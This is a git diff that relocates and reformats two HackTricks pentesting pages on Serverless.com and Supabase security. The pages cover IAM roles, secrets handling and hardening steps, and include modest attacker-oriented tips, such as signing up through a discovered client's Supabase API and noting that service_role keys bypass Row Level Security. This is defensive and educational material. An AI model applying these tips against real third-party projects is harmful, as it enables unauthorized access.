diff --git a/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
similarity index 64%
rename from pentesting-ci-cd/serverless.com-security.md
rename to src/pentesting-ci-cd/serverless.com-security.md
index 5d61c2b1c..007bf5cc6 100644
--- a/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -1,19 +1,6 @@
 # Serverless.com Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -190,23 +177,23 @@ functions:
 
 **Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time.
 
-*   **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
+- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
 
-    ```yaml
-    functions:
-      hello:
-        handler: handler.hello
-        environment:
-          TABLE_NAME: ${self:custom.tableName}
-    ```
+  ```yaml
+  functions:
+    hello:
+      handler: handler.hello
+      environment:
+        TABLE_NAME: ${self:custom.tableName}
+  ```
 
--   **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
+* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
 
-    ```yaml
-    custom:
-      tableName: my-dynamodb-table
-      stage: ${opt:stage, 'dev'}
-    ```
+  ```yaml
+  custom:
+    tableName: my-dynamodb-table
+    stage: ${opt:stage, 'dev'}
+  ```
 
 </details>
 
@@ -329,8 +316,9 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
 
 This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function:
 
-{% tabs %}
-{% tab title="handler.js" %}
+{{#tabs }}
+{{#tab name="handler.js" }}
+
 ```javascript
 exports.hello = async (event) => {
   return {
@@ -338,12 +326,13 @@ exports.hello = async (event) => {
     body: JSON.stringify({
       message: "Go Serverless v4! Your function executed successfully!",
     }),
-  };
-};
+  }
+}
 ```
-{% endtab %}
 
-{% tab title="serverless.yml" %}
+{{#endtab }}
+{{#tab name="serverless.yml" }}
+
 ```yaml
 # "org" ensures this Service is used with the correct Serverless Framework Access Key.
 org: testing12342
@@ -364,8 +353,9 @@ functions:
           path: /
           method: get
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
    1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
@@ -382,7 +372,7 @@ Resources:
     Type: AWS::IAM::Role
     Properties:
       AssumeRolePolicyDocument:
-        Version: '2012-10-17'
+        Version: "2012-10-17"
         Statement:
           - Effect: Allow
             Principal:
@@ -391,7 +381,7 @@ Resources:
               - sts:AssumeRole
             Condition:
               StringEquals:
-                sts:ExternalId: !Sub 'ServerlessFramework-${OrgUid}'
+                sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
       Path: /
       RoleName: !Ref RoleName
       ManagedPolicyArns:
@@ -399,13 +389,13 @@ Resources:
   ReporterFunction:
     Type: Custom::ServerlessFrameworkReporter
     Properties:
-      ServiceToken: 'arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec'
+      ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
       OrgUid: !Ref OrgUid
       RoleArn: !GetAtt SFRole.Arn
       Alias: !Ref Alias
 Outputs:
   SFRoleArn:
-    Description: 'ARN for the IAM Role used by Serverless Framework'
+    Description: "ARN for the IAM Role used by Serverless Framework"
     Value: !GetAtt SFRole.Arn
 Parameters:
   OrgUid:
@@ -427,21 +417,21 @@ Parameters:
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::486128539022:root"
-            },
-            "Action": "sts:AssumeRole",
-            "Condition": {
-                "StringEquals": {
-                    "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
-                }
-            }
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::486128539022:root"
+      },
+      "Action": "sts:AssumeRole",
+      "Condition": {
+        "StringEquals": {
+          "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
         }
-    ]
+      }
+    }
+  ]
 }
 ```
 
@@ -449,13 +439,14 @@ Parameters:
 
 5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas.
 
-{% tabs %}
-{% tab title="createCustomer.js" %}
+{{#tabs }}
+{{#tab name="createCustomer.js" }}
+
 ```javascript
-'use strict'
-const AWS = require('aws-sdk')
+"use strict"
+const AWS = require("aws-sdk")
 module.exports.createCustomer = async (event) => {
-  const body = JSON.parse(Buffer.from(event.body, 'base64').toString())
+  const body = JSON.parse(Buffer.from(event.body, "base64").toString())
   const dynamoDb = new AWS.DynamoDB.DocumentClient()
   const putParams = {
     TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
@@ -470,9 +461,11 @@ module.exports.createCustomer = async (event) => {
   }
 }
 ```
-{% endtab %}
 
-{% tab title="serverless.yml" %}
+{{#endtab }}
+
+{{#tab name="serverless.yml" }}
+
 ```yaml
 # "org" ensures this Service is used with the correct Serverless Framework Access Key.
 org: testing12342
@@ -489,13 +482,13 @@ provider:
   iam:
     role:
       statements:
-        - Effect: 'Allow'
+        - Effect: "Allow"
           Action:
-            - 'dynamodb:PutItem'
-            - 'dynamodb:Get*'
-            - 'dynamodb:Scan*'
-            - 'dynamodb:UpdateItem'
-            - 'dynamodb:DeleteItem'
+            - "dynamodb:PutItem"
+            - "dynamodb:Get*"
+            - "dynamodb:Scan*"
+            - "dynamodb:UpdateItem"
+            - "dynamodb:DeleteItem"
           Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
 
 functions:
@@ -526,8 +519,9 @@ resources:
             KeyType: HASH
         TableName: ${self:service}-customerTable-${sls:stage}
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 6. Deploy it running **`serverless deploy`**
    1. The deployment will be performed via a CloudFormation Stack
@@ -549,58 +543,55 @@ When no permissions are specified for the a Lambda function, a role with permiss
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Action": [
-                "logs:CreateLogStream",
-                "logs:CreateLogGroup",
-                "logs:TagResource"
-            ],
-            "Resource": [
-                "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
-            ],
-            "Effect": "Allow"
-        },
-        {
-            "Action": [
-                "logs:PutLogEvents"
-            ],
-            "Resource": [
-                "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
-            ],
-            "Effect": "Allow"
-        }
-    ]
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Action": [
+        "logs:CreateLogStream",
+        "logs:CreateLogGroup",
+        "logs:TagResource"
+      ],
+      "Resource": [
+        "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
+      ],
+      "Effect": "Allow"
+    },
+    {
+      "Action": ["logs:PutLogEvents"],
+      "Resource": [
+        "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
+      ],
+      "Effect": "Allow"
+    }
+  ]
 }
 ```
 
-
-
 </details>
 
 #### **Mitigation Strategies**
 
-*   **Principle of Least Privilege:** Assign only necessary permissions to each function.
+- **Principle of Least Privilege:** Assign only necessary permissions to each function.
 
-    ```yaml
-    provider:
-      [...]
-      iam:
-        role:
-          statements:
-            - Effect: 'Allow'
-              Action:
-                - 'dynamodb:PutItem'
-                - 'dynamodb:Get*'
-                - 'dynamodb:Scan*'
-                - 'dynamodb:UpdateItem'
-                - 'dynamodb:DeleteItem'
-              Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
-    ```
-* **Use Separate Roles:** Differentiate roles based on function requirements.
+  ```yaml
+  provider:
+    [...]
+    iam:
+      role:
+        statements:
+          - Effect: 'Allow'
+            Action:
+              - 'dynamodb:PutItem'
+              - 'dynamodb:Get*'
+              - 'dynamodb:Scan*'
+              - 'dynamodb:UpdateItem'
+              - 'dynamodb:DeleteItem'
+            Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+  ```
 
-***
+- **Use Separate Roles:** Differentiate roles based on function requirements.
+
+---
 
 ### **Insecure Secrets and Configuration Management**
 
@@ -608,9 +599,8 @@ Storing sensitive information (e.g., API keys, database credentials) directly in
 
 The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**!
 
-{% hint style="danger" %}
-Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
-{% endhint %}
+> [!CAUTION]
+> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
 
 For example, the following example will use SSM to get an environment variable:
 
@@ -622,17 +612,16 @@ provider:
 
 And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
 
-{% hint style="success" %}
-The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
-{% endhint %}
+> [!TIP]
+> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
 
 #### **Mitigation Strategies**
 
-* **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-* **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-* **Access Controls:** Restrict access to secrets based on roles.
+- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
+- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
+- **Access Controls:** Restrict access to secrets based on roles.
 
-***
+---
 
 ### **Vulnerable Code and Dependencies**
 
@@ -640,18 +629,19 @@ Outdated or insecure dependencies can introduce vulnerabilities, while improper
 
 #### **Mitigation Strategies**
 
-*   **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
 
-    ```yaml
-    plugins:
-      - serverless-webpack
-      - serverless-plugin-snyk
-    ```
-* **Input Validation:** Implement strict validation and sanitization of all inputs.
-* **Code Reviews:** Conduct thorough reviews to identify security flaws.
-* **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+  ```yaml
+  plugins:
+    - serverless-webpack
+    - serverless-plugin-snyk
+  ```
 
-***
+- **Input Validation:** Implement strict validation and sanitization of all inputs.
+- **Code Reviews:** Conduct thorough reviews to identify security flaws.
+- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+
+---
 
 ### **Inadequate Logging and Monitoring**
 
@@ -659,17 +649,18 @@ Without proper logging and monitoring, malicious activities may go undetected, d
 
 #### **Mitigation Strategies**
 
-*   **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
 
-    ```yaml
-    plugins:
-      - serverless-plugin-datadog
-    ```
-* **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-* **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-* **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+  ```yaml
+  plugins:
+    - serverless-plugin-datadog
+  ```
 
-***
+- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
+- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
+- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+
+---
 
 ### **Insecure API Gateway Configurations**
 
@@ -677,45 +668,48 @@ Open or improperly secured APIs can be exploited for unauthorized access, Denial
 
 #### **Mitigation Strategies**
 
-*   **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
 
-    ```yaml
-    functions:
-      hello:
-        handler: handler.hello
-        events:
-          - http:
-              path: hello
-              method: get
-              authorizer: aws_iam
-    ```
-*   **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+  ```yaml
+  functions:
+    hello:
+      handler: handler.hello
+      events:
+        - http:
+            path: hello
+            method: get
+            authorizer: aws_iam
+  ```
 
-    ```yaml
-    provider:
-      apiGateway:
-        throttle:
-          burstLimit: 200
-          rateLimit: 100
-    ```
-*   **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
 
-    ```yaml
-    functions:
-      hello:
-        handler: handler.hello
-        events:
-          - http:
-              path: hello
-              method: get
-              cors:
-                origin: https://yourdomain.com
-                headers:
-                  - Content-Type
-    ```
-* **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+  ```yaml
+  provider:
+    apiGateway:
+      throttle:
+        burstLimit: 200
+        rateLimit: 100
+  ```
 
-***
+- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+
+  ```yaml
+  functions:
+    hello:
+      handler: handler.hello
+      events:
+        - http:
+            path: hello
+            method: get
+            cors:
+              origin: https://yourdomain.com
+              headers:
+                - Content-Type
+  ```
+
+- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+
+---
 
 ### **Insufficient Function Isolation**
 
@@ -723,21 +717,22 @@ Shared resources and inadequate isolation can lead to privilege escalations or u
 
 #### **Mitigation Strategies**
 
-* **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-* **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-*   **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
+- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
+- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
 
-    ```yaml
-    provider:
-      vpc:
-        securityGroupIds:
-          - sg-xxxxxxxx
-        subnetIds:
-          - subnet-xxxxxx
-    ```
-* **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+  ```yaml
+  provider:
+    vpc:
+      securityGroupIds:
+        - sg-xxxxxxxx
+      subnetIds:
+        - subnet-xxxxxx
+  ```
 
-***
+- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+
+---
 
 ### **Inadequate Data Protection**
 
@@ -745,22 +740,23 @@ Unencrypted data at rest or in transit can be exposed, leading to data breaches
 
 #### **Mitigation Strategies**
 
-*   **Encrypt Data at Rest:** Utilize cloud service encryption features.
+- **Encrypt Data at Rest:** Utilize cloud service encryption features.
 
-    ```yaml
-    resources:
-      Resources:
-        MyDynamoDBTable:
-          Type: AWS::DynamoDB::Table
-          Properties:
-            SSESpecification:
-              SSEEnabled: true
-    ```
-* **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-* **Secure API Communication:** Enforce encryption protocols and validate certificates.
-* **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+  ```yaml
+  resources:
+    Resources:
+      MyDynamoDBTable:
+        Type: AWS::DynamoDB::Table
+        Properties:
+          SSESpecification:
+            SSEEnabled: true
+  ```
 
-***
+- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
+- **Secure API Communication:** Enforce encryption protocols and validate certificates.
+- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+
+---
 
 ### **Lack of Proper Error Handling**
 
@@ -768,26 +764,27 @@ Detailed error messages can leak sensitive information about the infrastructure
 
 #### **Mitigation Strategies**
 
-*   **Generic Error Messages:** Avoid exposing internal details in error responses.
+- **Generic Error Messages:** Avoid exposing internal details in error responses.
 
-    ```javascript
-    javascriptCopy code// Example in Node.js
-    exports.hello = async (event) => {
-      try {
-        // Function logic
-      } catch (error) {
-        console.error(error);
-        return {
-          statusCode: 500,
-          body: JSON.stringify({ message: 'Internal Server Error' }),
-        };
-      }
-    };
-    ```
-* **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-* **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+  ```javascript
+  javascriptCopy code// Example in Node.js
+  exports.hello = async (event) => {
+    try {
+      // Function logic
+    } catch (error) {
+      console.error(error);
+      return {
+        statusCode: 500,
+        body: JSON.stringify({ message: 'Internal Server Error' }),
+      };
+    }
+  };
+  ```
 
-***
+- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
+- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+
+---
 
 ### **Insecure Deployment Practices**
 
@@ -795,12 +792,12 @@ Exposed deployment configurations or unauthorized access to CI/CD pipelines can
 
 #### **Mitigation Strategies**
 
-* **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-* **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-* **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-* **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
+- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
+- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
+- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
+- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
 
-***
+---
 
 ### **Vulnerabilities in Plugins and Extensions**
 
@@ -808,12 +805,12 @@ Using unvetted or malicious third-party plugins can introduce vulnerabilities in
 
 #### **Mitigation Strategies**
 
-* **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-* **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-* **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-* **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
+- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
+- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
+- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
+- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
 
-***
+---
 
 ### **Exposure of Sensitive Endpoints**
 
@@ -821,12 +818,12 @@ Publicly accessible functions or unrestricted APIs can be exploited for unauthor
 
 #### **Mitigation Strategies**
 
-* **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-* **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-* **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-* **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
+- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
+- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
+- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
+- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
 
-***
+---
 
 ### **Excessive Permissions for Team Members and External Collaborators**
 
@@ -834,41 +831,28 @@ Granting excessive permissions to team members and external collaborators can le
 
 #### **Mitigation Strategies**
 
-* **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
+- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
 
-***
+---
 
 ### **Access Keys and License Keys Security**
 
 **Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
 
-* **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
-* **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
+- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
+- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
 
 #### **Security Risks**
 
 1. **Exposure Through Code Repositories:**
-   * Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
+   - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
 2. **Insecure Storage:**
-   * Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
+   - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
 3. **Improper Distribution:**
-   * Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
+   - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
 4. **Lack of Rotation:**
-   * Not regularly rotating keys extends the exposure period if keys are compromised.
+   - Not regularly rotating keys extends the exposure period if keys are compromised.
 5. **Excessive Permissions:**
-   * Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
+   - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
similarity index 62%
rename from pentesting-ci-cd/supabase-security.md
rename to src/pentesting-ci-cd/supabase-security.md
index 3dda14511..40231a605 100644
--- a/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -1,19 +1,6 @@
 # Supabase Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -25,9 +12,8 @@ Basically when a project is created, the user will receive a supabase.co subdoma
 
 ## **Database configuration**
 
-{% hint style="success" %}
-**This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
-{% endhint %}
+> [!TIP]
+> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
 
 This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
 The password is a **password the user put** previously.
@@ -36,17 +22,16 @@ Therefore, as the subdomain is a known one and it's used as username and the AWS
 
 This section also contains options to:
 
-* Reset the database password
-* Configure connection pooling
-* Configure SSL: Reject plan-text connections (by default they are enabled)
-* Configure Disk size
-* Apply network restrictions and bans
+- Reset the database password
+- Configure connection pooling
+- Configure SSL: Reject plan-text connections (by default they are enabled)
+- Configure Disk size
+- Apply network restrictions and bans
 
 ## API Configuration
 
-{% hint style="success" %}
-**This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
-{% endhint %}
+> [!TIP]
+> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
 
 The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
 
@@ -120,7 +105,7 @@ Priority: u=1, i
 
 So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
 
-### secret / service\_role api keys
+### secret / service_role api keys
 
 A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
 
@@ -134,22 +119,21 @@ A **JWT Secret** will also be generate so the application can **create and sign
 
 ### Signups
 
-{% hint style="success" %}
-By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
-{% endhint %}
+> [!TIP]
+> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
 
 However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
 This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Passwords & sessions
 
 It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
 It's recommended to **improve the requirements as the default ones are weak**.
 
-* User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
-* Bot and Abuse Protection: It's possible to enable Captcha.
+- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
+- Bot and Abuse Protection: It's possible to enable Captcha.
 
 ### SMTP Settings
 
@@ -157,37 +141,23 @@ It's possible to set an SMTP to send emails.
 
 ### Advanced Settings
 
-* Set expire time to access tokens (3600 by default)
-* Set to detect and revoke potentially compromised refresh tokens and timeout
-* MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
-* Max Direct Database Connections: Max number of connections used to auth (10 by default)
-* Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
+- Set expire time to access tokens (3600 by default)
+- Set to detect and revoke potentially compromised refresh tokens and timeout
+- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
+- Max Direct Database Connections: Max number of connections used to auth (10 by default)
+- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
 
 ## Storage
 
-{% hint style="success" %}
-Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
-{% endhint %}
+> [!TIP]
+> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
 
